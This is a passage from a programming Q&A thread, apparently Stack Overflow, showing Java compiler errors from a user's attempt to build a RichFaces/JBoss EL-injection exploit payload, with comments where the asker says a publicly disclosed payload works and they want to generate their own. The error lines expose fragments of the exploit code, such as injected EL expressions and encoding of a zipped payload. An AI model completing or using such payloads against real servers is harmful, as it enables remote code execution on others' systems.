TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);
^
symbol: class TagMethodExpression
location: class Main
Main.java:48: error: cannot find symbol
TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);
^
symbol: class TagMethodExpression
location: class Main
Main.java:51: error: cannot find symbol
Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
^
symbol: class FacesContext
location: class Main
Main.java:59: error: cannot find symbol
TagAttribute tag = new TagAttribute(location, "", "", "just", "modified="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:59: error: cannot find symbol
TagAttribute tag = new TagAttribute(location, "", "", "just", "modified="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:60: error: cannot find symbol
ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:60: error: cannot find symbol
ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:61: error: cannot find symbol
TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
^
symbol: class TagValueExpression
location: class Main
Main.java:61: error: cannot find symbol
TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
^
symbol: class TagValueExpression
location: class Main
Main.java:65: error: cannot find symbol
TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:65: error: cannot find symbol
TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:66: error: cannot find symbol
ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:66: error: cannot find symbol
ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:67: error: cannot find symbol
TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
^
symbol: class TagValueExpression
location: class Main
Main.java:67: error: cannot find symbol
TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
^
symbol: class TagValueExpression
location: class Main
Main.java:71: error: package UserResource does not exist
UserResource.UriData uriData = new UserResource.UriData();
^
Main.java:71: error: package UserResource does not exist
UserResource.UriData uriData = new UserResource.UriData();
^
Main.java:103: error: cannot find symbol
byte dataArray = URL64Codec.encodeBase64(zipsrc);
^
symbol: variable URL64Codec
location: class Main
42 errors






java bash jboss richfaces exploit






share|improve this question















share|improve this question













share|improve this question




share|improve this question








edited Nov 21 '18 at 21:07







Gerald

















asked Nov 21 '18 at 5:35









GeraldGerald

216




216













  • Is this in FireFox? Can you try Chrome or IE?

    – JGlass
    Nov 21 '18 at 15:26











  • Yes, still same issue. The payload mentioned in seclists.org/fulldisclosure/2018/Nov/47 works, but I am trying to figure out how to generate my own payload

    – Gerald
    Nov 21 '18 at 16:47











  • Where is the java documentation for using zlib if you have it, I'm not finding it

    – JGlass
    Nov 21 '18 at 17:35



















  • Is this in FireFox? Can you try Chrome or IE?

    – JGlass
    Nov 21 '18 at 15:26











  • Yes, still same issue. The payload mentioned in seclists.org/fulldisclosure/2018/Nov/47 works, but I am trying to figure out how to generate my own payload

    – Gerald
    Nov 21 '18 at 16:47











  • Where is the java documentation for using zlib if you have it, I'm not finding it

    – JGlass
    Nov 21 '18 at 17:35

















Is this in FireFox? Can you try Chrome or IE?

– JGlass
Nov 21 '18 at 15:26





Is this in FireFox? Can you try Chrome or IE?

– JGlass
Nov 21 '18 at 15:26













Yes, still same issue. The payload mentioned in seclists.org/fulldisclosure/2018/Nov/47 works, but I am trying to figure out how to generate my own payload

– Gerald
Nov 21 '18 at 16:47





Yes, still same issue. The payload mentioned in seclists.org/fulldisclosure/2018/Nov/47 works, but I am trying to figure out how to generate my own payload

– Gerald
Nov 21 '18 at 16:47













Where is the java documentation for using zlib if you have it, I'm not finding it

– JGlass
Nov 21 '18 at 17:35





Where is the java documentation for using zlib if you have it, I'm not finding it

– JGlass
Nov 21 '18 at 17:35












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